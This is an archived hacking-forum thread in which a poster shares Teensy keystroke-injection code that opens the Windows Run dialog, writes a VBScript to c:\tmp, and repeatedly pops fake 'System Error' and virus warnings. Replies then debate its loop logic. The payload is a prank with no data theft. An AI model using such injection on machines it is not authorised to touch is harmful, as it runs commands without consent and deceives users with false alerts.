Jump to content

Archived

This topic is now archived and is closed to further replies.

metalx1000

[Version 1] Fake Error Message With Vbscript

Recommended Posts

This code has only been tested in Windows XP running with in a virtualbox on my Linux box.

If other could give me feed back on how it runs on other systems it would be helpful.

/*
Rubber Ducky VBS ErrorMSG
Created By Kris Occhipinti (A.K.A. Metalx1000)
April 27th 2010

Released under the GPLv3
http://www.gnu.org/licenses/gpl.html

Description:
This code will create a fake Error Message on a Windows system.
It loops every 5 second incase the code was missed the first time.

TESTED on Windows XP

For more info Please Visit:
http://FilmsByKris.com
http://www.hak5.org/

*/
void setup() { } // no setup needed
void loop() {
  //clears any modifier keys
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  delay(2000);
  //create tmp dir for scripts   
  run_cmd("cmd /c mkdir c:\\tmp");
  
  delay(200);
  
  //Create VBS that will put 
  run_cmd("cmd /c echo msgbox \"System Error!\" >> c:\\tmp\\msg.vbs");
  delay(200);
  run_cmd("cmd /c echo msgbox \"There is a possiable Virus on you systems!\" >> c:\\tmp\\msg.vbs");
  delay(200);
  run_cmd("c:\\tmp\\msg.vbs");

  delay(5000);
}

void run_cmd(char *command) {
  
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  delay(20);
  
  // release all the keys at the same instant
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(500);
  Keyboard.println(command);
  delay(20);
}

Share this post


Link to post
Share on other sites

Why rewrite the vbs file every time?

Put the echo >> commands in setup() and then just call it every time in the loop.

Share this post


Link to post
Share on other sites

Looking at all his code, he appears not to understand that loop() loops.

Share this post


Link to post
Share on other sites

Thanks for the helpful tips.

If you read the description in the code, you would see why I put it in the loop.

If you are familiar with the Windows OS you know that it can take it a while for it to detect a new keyboard.

So, My code loops in case is it missed the first time around.

Share this post


Link to post
Share on other sites

Um, loop loops around as long as the teensy receives power, which in a case where you leave it in the computer for 30 minutes, this code would almost run 1000 times, it doesn't stop at two.

You only need to have it running once, as the code runs AFTER the device is enumerated ie. after the keyboard and mouse will work.

Share this post


Link to post
Share on other sites

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...